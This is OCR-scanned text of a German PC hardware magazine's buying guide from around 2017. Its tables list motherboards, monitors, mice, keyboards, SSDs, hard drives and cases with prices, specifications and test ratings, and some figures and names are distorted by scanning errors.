Asrock 7170 Extreme4 Ca. € 160,- | 2170/АТХ x16*/x0* & x1/x1/x1/x4 3.0x4** ALC1150 | 2/0x3.1; 6/2x3,0; 6x | 5 (4x PWM) 2,61 08/2016 | www.pcgh.de/preis/1306610 
Biostar 2270GT6 Ca. € 210,- | Z270/ATX x16 & х1/х1/х4/*х1/х4 3.0x4* ALC892 0/0x3.1; 5/2x3,0; 6x | 5 (bx PWM) 2,77 04/2017 | www.pcgh.de/preis/1558351 
Supermicro С72170-50 Ca. € 220,- | 2170/АТХ x16*/x0*/x0* & х1/х4/х1 3.0x4 ALC898 1/0x3.1; 2/4x3.0; 6x | 5 (5x PWM) 2,77 10/2015 | www.pcgh.de/preis/1307677 
MSI H170A PC Mate Ca. € 110,- | H170/ATX x16 & x0*/x0*/x0*/x4* 3.0x4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2x PWM) 2,79 08/2016 | www.pcgh.de/preis/1319556 
Biostar 2170GT7 п. verfüg. | Z170/ATX x16*/x0* & х1/х0*/х4*/х0*/х4 | 3.0x4** ALC898 1/0x3.1; 5/2x3,0; 6x | 5 (5x PWM) 2,92 08/2016 | www.pcgh.de/preis/1390374 
ПТМ Asrock B150M Pro4S Ca. € 70,- | B150/uATX | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 2,96 08/2016 | www.pcgh.de/preis/1318332 
Super Micro C7H170-M Ca. € 160,- | H170/pATX_| x16 & x4/x1 3.0x4 ALC1150 | 0/0x3.1; 4/2x3,0; 6x | 5 (bx PWM) 3,08 08/2016 | www.pcgh.de/preis/1326288 
Asus H110M-Plus Са. € 70,- | H110/UATX | x16 & x1(2.01)/x1(2.0!) - ALC887 2/0x3.1; 2/2x3,0; 4x | 2 (2x PWM) 3,47 08/2016 | www.pcgh.de/preis/1350313 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock X99 Taichi Ca. € 260,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM 1,80 0/2016 | www.pcgh.de/preis/1462624 
ПГТ) Asrock X99 Extreme4/3.1 | Ca. € 210,- | X99/ATX x16/x16/x0* & х4/х1 3.0x4* ALC1150 |/x3.1; 4/2x3,0; 10x | 6 (2x РММ, 1,83 0/2016 | www.pcgh.de/preis/1252790 
Asus Strix X99 Gaming Ca. € 300,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x РММ, 1,84 0/2016 | www.pcgh.de/preis/1441449 
Gigabyte X99-Ultra Gam. | Ca. € 290,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x РММ. 1,88 0/2016 | www.pcgh.de/preis/1446348 
MSI X99A Raider Ca. € 210,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 4/2x3,0; 10x | 5 (2x PWM 1,95 0/2016 | www.pcgh.de/preis/1247988 
Asus X99-E Ca. € 240,- | X99/ATX x16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (bx PWM 1,95 0/2016 | www.pcgh.de/preis/1441447 
MSI X99A Gam. Pro Carb. | Ca. € 300,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* o. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1x PWM 1,96 0/2016 | www.pcgh.de/preis/1443681 
EVGA X99 FTW K Са. € 370,- | X99/E-ATX | x16*/x0*/x0*/x16*/x0* & x1 3.0x4* ALC1150 | 2/x3.1; 4/4x3,0; 10x | 7 (7x РММ, 2,07 0/2016 | www.pcgh.de/preis/1452679 
Sockel 1150 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Gigabyte GA-H97-D3H Ca.€90,- | H97/ATX x16 & x0*/x4*/x0* 20x2** ALC1150 | 0x3.1; 4/2x3.0; 6x 5 (5x4-Pin) 2,87 07/2015 | www.pcgh.de/preis/1107992 


* PCI-E-Lane-Sharing ** М.2 shared mit SATA ` *** M.2 shared mit SATA und mit PCI-E-Slot(s) 
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Full Hp Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in 

Asus MG248Q Ca. € 320,- 24 Zo 44 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 06/2016 | www.pcgh.de/preis/1419189 

liyama GB2488HSU-B2 Ca. € 275,- 24 Zo 44 Hertz 5 ms 2ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 
Acer XF240H bmjdpr Ca. € 240,- 24 70 44 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 

Medion Erazer X58426 Ca. € 450,- 31,5 Zoll 44 Hertz 12 ms 1ms bis 288 cd/m? VA-Pane Freesync 1,76 05/2017 | www.pcgh.de/preis/1 585204 (Tiri 
AOC G2460PF Ca. € 260,- 24 70 44 Hertz 6 ms 4ms 156 bis 358 cd/m? N-Pane Freesync 1,77 05/2016 | www.pcgh.de/preis/1318972 

Asus VG278HV Ca. € 335,- 27 Zo 44 Hertz 5 ms 9 ms 58 bis 305 cd/m? N-Pane - 1,79 05/2016 | www.pcgh.de/preis/1336350 

Benq Zowie XL2540 Ca. € 500,- 24,5 Zoll 240 Hertz 5ms 0 ms 40 bis 390 cd/m? N-Pane - 1,83 02/2017 | www.pcgh.de/preis/1534083 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

Viewsonic XG2703-GS Ca. € 850,- 27 Zo 65 Hertz - 2ms bis 355 cd/m? PS-Panel G-Sync 1,56 04/2017 | www.pcgh.de/preis/1504306 

AOC Agon AG241QG Ca. € 520,- 24 Zo 65 Hertz - 3ms bis 450 cd/m? N-Pane G-Sync 1,74 | 04/2017 | www.pcgh.de/preis/1476116 

Asus MG279Q Ca. € 590,- 27 Zo 44 Hertz 8 ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/121 5454 (T 
Benq XL2730Z Ca. € 600,- 27 Zo 44 Hertz 8 ms 8 ms 52 bis 353 cd/m2 №-Рапеј Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 550,- 2770 60 Hertz 5ms 9ms 74 bis 312 cd/m2 AHVA-Panel | — 2,04 | 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

iyama X4071UHSU-B1 Ca. € 570,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel | – 1,81 11/2016 | www.pcgh.de/preis/1362847 ТҮР 
Asus PB287Q Ca. € 400,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? N-Pane - 1,87 07/2014 www.pcgh.de/preis/1094194 «Т ТИЛ. 
Asus РВ2790 N. verf. 2770 60 Hertz 6 ms 9ms 54 bis 266 cd/m2 PS-Panel - 2,04 | 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B Ca. € 520,- 27 Zo 60 Hertz 8 ms 11 ms 72 bis 230 cd/m? PS-Panel Freesync 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflósung Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

LG 38UC99-W Ca. € 1.300,- | 3.8340 x 1.600 | 75 Hertz 7 ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 

Asus ВОб PG348Q Са. € 1.060,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m2 PS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 850,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? PS-Panel Freesync 1,76 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 740,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |- 1,76 04/2016 | www.pcgh.de/preis/1195794 

Acer Predator X34 N. verf. 3.440 x 1.440 | 100 Hertz 12 ms 8 ms 19 bis 306 cd/m? PS-Panel G-Sync 1,89 04/2016 | www.pcgh.de/preis/1257523 


Modell Preis Kabellánge | Tasten Abtastung Auflósung | Gewicht Ergonomie Test in 

Roccat Nyth Са. € 125,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 130 Gramm Sehr gut 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Tyon Са. € 110,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 126 Gramm Sehr gu 1,32 12/2014 | www.pcgh.de/preis/1154844 

Asus ROG Gladius II Са. Є 90,- | 200/100 cm | 6 + Scrollrad | Optisch (LED) | 12.000 Dpi | 110 Gramm Sehr gu 1,32 | 04/2017 | www.pcgh.de/preis/1574884 

Logitech G900 Chaos Spectrum | Ca. € 115,- | Schnurlos 10 + Scrollrad | Optisch (LED) 2.000 Dpi | 107 Gramm Sehr gut 1,33 | 07/2016 | www.pcgh.de/preis/1414931 

Razer Mamba 2015 Ca. € 125,- | Schnurlos 6 + Scrollrad | Optisch (LED) 6.000 Dpi | 128 Gramm Sehr gu 1,37 04/2017 | www.pcgh.de/preis/1310490 

Razer Mamba Tournament Edition | Са. Є 85,- | 210 cm 6 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 133 Gramm Sehr gu 1,39 | 01/2016 | www.pcgh.de/preis/ 3105174 T EL 
Roccat Kone EMP Са. Є 80,- | 180 ст 6 + Scrollrad | Optisch (LED) | 12.000 Dpi | 116 Gramm Sehr gu 1,42 | 04/2017 | www.pcgh.de/preis/1558194 

6403 Prodigy Wireless Са. € 80,- | Schnurlos 5 + Scrollrad | Optisch (LED) 2.000 Dpi | 107 bis 117 Gramm Sehr gu 1,43 12/2016 | www.pcgh.de/preis/1503381 

Roccat Kone XTD Ca.€75- | 180 cm 7 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 120 bis 140 Gramm Sehr gut 1,43 12/2012 | www.pcgh.de/preis/841868 

Razer Ouroboros Са. € 110,- | Schnurlos 8 + Scrollrad | Laser und LED | 8.200 Dpi | 117/147 Gramm mit Akku | Sehr gu 1,43 07/2013 | www.pcgh.de/preis/815637 

Corsair Scimitar Pro RGB Ca.€90- | 180 ст 16 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 147 Gramm Gut 1,50 05/2017 | www.pcgh.de/preis/1558629 

Sharkoon Skiller SGM1 Са. Є 40,- | 180 ст 9 + Scrollrad | Optisch (LED) | 10.800 Dpi | 130 bis 154 Gramm Gut 1,83 | 04/2017 | www.pcgh.de/preis/1501343 


Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in 

Razer Ornata Chroma Ca. € 100,- | RGB-Einzeltastenbel. _ Ja (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 

Asus Cerberus Ca.€50,- | Voll, zwei Farben _ Ja (integriert) 6 alja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 «ТҮҢ 
Sharkoon Skiller Pro+ Ca.€40,- | Voll, sieben Farben _ Ja (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 

Tt esports Challenger Prime Са. € 30,- | Voll, drei Farben _ Ja (integriert) 12 + Drehregler а/а (k. A.) 1,98 10/2016 | www.pcgh.de/preis/1183433 «Т? 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue а/а (2 MByte) 1,26 | 09/2016 | www.pcgh.de/preis/1388126 

Razer Black Widow Chroma V2 Ca. € 190,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown а/ја (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 

Sharkoon Shark Zone MK 80 RGB | Ca. € 140,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2013 | www.pcgh.de/preis/ 369386 «ТІҢ 
Corsair Strafe RGB MX Silent Ca. € 165,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black alja (k. A.) 1,45 11/2015 www.pcgh.de/preis/1258778 «ТҮҢ 
Tt esports Poseidon Z RGB Ca. € 105,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB a/ja (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 

Corsair K70 RGB Rapid Fire Ca. € 175,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Ch. MX Speed RGB | Cherry MX Speed RGB | Ja/ja (ein Profil) 1,49 | 06/2016 | www.pcgh.de/preis/1431774 

Asus ROG Claymore Ca. € 235,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | Ja/ja (k. A.) 1,50 | 03/2017 | www.pcgh.de/preis/1549791 

Roccat Suora FX Ca. € 140,- | RGB-Einzeltastenbel. Keine TTC RGB Brown TTC RGB Brown alja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 

G.Skill Ripjaws KM780 RGB Ca. € 120,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX RGB Br. | МХ RGB Brown/Red | Јаја (k. A.) 1,52 | 03/2016 | www.pcgh.de/preis/1332861 

Cougar Attack X3 RGB Ca. € 120,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Br. | Cherry MX RGB Br. | Ja/ja (k. A.) 1,57 | 03/2017 | www.pcgh.de/preis/1534418 
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LEITER PREIS-LEISTUNGS-TIPP 


[ELI fT SPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ PCGH-Preisvergleich 
Samsung SSD 850 Evo Са. € 100,- | 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1194261 
"NEU Adata Ultimate SU900 Са. € 125,- | 238 GiB/256 GB 529/490 MB/s 83.000 84 Sekunden | 5 Jahre 2,00 05/2017 | www.pcgh.de/preis/1563414 
Adata SX 930 Са. € 100,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 12/2015 | www.pcgh.de/preis/1299666 
Tru TID Crucial MX200 Ca. € 95,- 233 GiB/250 GB 521/475 MB/s 77.000 76 Sekunden | 3 Jahre 2,08 | 08/2015 | www.pcgh.de/preis/1215088 
Sandisk Extreme Pro N. verfügbar | 224 GiB/240 GB 526/495 MB/s 44.000 92 Sekunden | 10 Jahre 2,08 | 07/2016 | www.pcgh.de/preis/1126455 
Kingston HyperX Sav. SSD Kit | Са. € 130,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
OCZ Vector 180 Са. € 130,- | 224 GiB/240 GB 509/489 MB/s 85.000 90 Sekunden | 5 Jahre 2,12 08/2015 | www.pcgh.de/preis/1230956 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer 1/5* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ] PCGH-Preisvergleich 
Th Samsung SSD 850 Evo Са. € 165,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba Q300 Pro Са. € 220,- | 477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Sandisk Extreme Pro Са. € 210,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
Mushkin Striker Ca. € 130,- | 447 GiB/480 GB 529/509 MB/s 49.000 82 Sekunden | 3 Jahre 2,07 | 07/2016 | www.pcgh.de/preis/1388029 
ПТМ ос Vector 180 Са. € 190,- | 447 GiB/480 GB 513/483 MB/s 91.000 90 Sekunden | 5 Jahre 2,14 | 08/2015 | www.pcgh.de/preis/1230954 
Sandisk Ultra II Са. € 140,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 07/2016 | www.pcgh.de/preis/1154832 
INEU Corsair Neutron Xti Са. € 185,- | 466 GiB/480 GB 528/493 MB/s 15000 85 Sekunden | 5 Jahre 2,21 05/2017 | www.pcgh.de/preis/1469015 
NEU) western Digital WD Blue SSD | Ca. € 145,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 05/2017 | www.pcgh.de/preis/1521437 
INEU Kingston SSDnow UV400 Са. € 145,- | 466 GiB/480 GB 528/480 MB/s 22000 126 Sekunden | 3 Jahre 2,41 05/2017 | www.pcgh.de/preis/1446624 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer 1/5* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ] PCGH-Preisvergleich 
Samsung SSD 850 Pro Ca.€470,- | 954 GiB/1.024 GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.400,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 179 11/2016 | www.pcgh.de/preis/1427527 
INEU Toshiba Q300 Pro Са. € 400,- | 954 GiB/1.024 GB | 519/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,89 | 05/2017 | www.pcgh.de/preis/1312394 
МЕО ocz VX500 Са. Є 370,- | 954 GiB/1.024 GB | 520/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,91 05/2017 | www.pcgh.de/preis/1507141 
Mushkin Reactor Ca. € 275,- | 932 СіВ/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. € 555,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
INEU Corsair Neutron Xti Ca. € 390,- | 932 GiB/960 GB GB | 528/466 MB/s 78.000 85 Sekunden | 5 Jahre 2,05 05/2017 | www.pcgh.de/preis/1469016 
OCZ Vector 180 Ca.€300,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2,15 08/2015 | www.pcgh.de/preis/1230950 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 МВ/$ 70.000 76 Sekunden | З Jahre 2,24 08/2015 | www.pcgh.de/preis/1215186 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 
Solid State Drives (M.2/PCle 3.0 x4) 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
ТЕУ Toshiba OCZ RD400 Ca.€275 | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 | 11/2016 | www.pcgh.de/preis/1448318 
INEU Corsair MP500 Са. Є 300,- | 447 GiB/480 GB 2399/1322 MB/s 87.000 49 Sekunden | 3 Jahre 1,84 | 05/2017 | www.pcgh.de/preis/1552578 
Tr E PNY cs2030 Са. € 140,- ! 238 GiB/240 GB 2.436/1231 MB/s 68.000 52 Sekunden | 3 Jahre 1,94 | 05/2017 | www.pcgh.de/preis/1571194 
Zotac Sonix Ca.€345, | 477 GiB/512 GB 2.250/1.330 MB/s 95.000 56 Sekunden | 3 Jahre 2,04 11/2016 | www.pcgh.de/preis/1406123 
Kingston Hyper X Predator Ca. € 355,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 12/2015 | www.pcgh.de/preis/1247224 
INEU Adata SX8000 Са. Є 235,- | 447 GiB/512 GB 1112/1110 MB/s 41.000 69 Sekunden | 5 Jahre 2,68 | 05/2017 | www.pcgh.de/preis/1532201 
"NEU пе SSD 600p Ca. € 180,- 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden 5 Jahre 2,83 05/2017 | www.pcgh.de/preis/1491162 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ PCGH-Preisvergleich 
Samsung SSD 960 Pro Ca.€605,- | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 12/2016 | www.pcgh.de/preis/1511187 
Samsung SSD 960 Evo Са. € 460,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 1,179 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Са. Є 770,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 


* L/S: Lesen und Schreiben | ** 4k- 


Random-Write-Operationen pro Sekunde 


Festplatten (3,5 Zoll) 


Bis 8.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Toshiba MG04ACA600E Ca. € 300,- | 5.586 GiB/6.000 GB | 7.200 | 0,8/1,4 Sone 2,0/5,0 ms 66/163 MB/s 1,71 08/20 www.pcgh.de/preis/493352788 
Toshiba MCO4ACA500E N. verfügb. | 4.548 GiB/5.000 GB | 7.200 | 0,7/1,3 Sone 2,0/13,4 ms 66/163 MB/s 1,88 08/2015 | www.pcgh.de/preis/1145736 
ПТТ Seagate Archive HDD 8TB Ca. € 260,- | 7.452 GiB/8.000 GB | 5.900 | 0,5/0,6 Sone 3,5/14,0 ms 43/136 MB/s 223 08/2015 | www.pcgh.de/preis/1204027 
Altes Testsystem 
Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Toshiba DTO1ACA300 Ca. € 80,- | 2.794 GiB/3.000 GB | 7.200 | 0,3/0,6 Sone 5,2/15,4 ms* 54/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 
Western Digital Red WD30EFRX Ca. € 115,- | 2.794 GiB/3.000 GB | K.A. 0,2/0,3 Sone 9,9/21,0 ms* 12/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 
Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Western Digital Black WD4003FZEX Ca. € 260,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,9 Sone 2,5/12,9 ms 45/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 
Hitachi Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,6 Sone 6,3/14,8 ms* 31/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 
Western Digital Red WDAOEFRX Ca. € 155,- | 3.726 GiB/4.000 GB | 5.400 | 0,4/0,5 Sone 6,6/18,5 ms 19/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 
Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 2,5/4,3 ms* 67/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 
HGST Ultrastar He6 6TB Ca. € 460,- | 5.589 GiB/6.000 GB | 7.200 | 0,1/1,6 Sone 2,6/5,8 ms 43/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 
ТШТ; Western Digital Red WD60EFRX Ca. € 240,- | 5.589 GiB/6.000 GB | K. A. 0,3/0,4 Sone 5,8/18 ms* 27/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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SERVICE | Einkaufsführer 


Einkaufsführer Gehäuse, Netzteile & Sound 


Preise: Stand 23.03.2017 


(LLLP LIPREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


Format " 
Midi-Gehäuse (Herstelle- | Preis Lüfterplätze Enthaltene Lüfter MS т e e Wertung Test in PCGH-Preisvergleich 
rangabe) 
Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 205,- | 9x 140, 2 x 120 mm 3 x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Nanoxia Deep Silence 5 Rv B | Big-Tower | Ca. € 115,- | 4x 140/120 mm, 2 x 140 mm 3x 140 mm 2,2/2,4; 1,9/2,0 Sone | 83/90/34 °C* 1,64 04/2015 www.pcgh.de/preis/1224505 ТҮҢ 
Aerocool XPredator II Big-Tower | Ca. € 130,- | 6 x 140 mm 5x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °C** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Antec P100 Midi-Tower | Ca. € 80,- | 4х 140, 1x 120 mm 2x 120 mm 2,1/2,2; 0,0/0,0 Sone | 79/85/31 °C* 1,71 06/2014 | www.pcgh.de/preis/1013922 
Phanteks Enthoo Luxe Big-Tower | Ca. € 155,- | 2 x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1,71 04/2015 | www.pcgh.de/preis/1142200 
Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4 x 140 mm, 1 x 120 mm 2x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °C** 1,84 09/2016 | www. pcgh.de/preis/1354897 «ТИҢ 
Enermax Thormax Giant Big-Tower | Ca. € 140,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °C* 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees Al Crystal Midi-Tower | Ca. € 150,- | 6x 140 mm 4x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 115,- | 5 x 140/120 mm, 2 x 120 mm 3x120mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Ca. € 140,- | 4х 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 100,- | 3x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °С* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Ca. € 125,- | 4x 140/1 x 120 mm 2x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 *C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9x 140/120 mm 2x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °C* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 145,- | 5x 140 mm oder 7 x 120 mm 3 x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
Chieftec Gaming GP-01B Midi-Tower | Ca. € 80,- | 2 x 140 mm, 3 x 120 mm 2x 140, 1x 120 mm | 2,2/2,1 Sone*** 65/71/49 °C 2,50*** | 02/2017 | www.pcgh.de/preis/1493676 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 @ 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
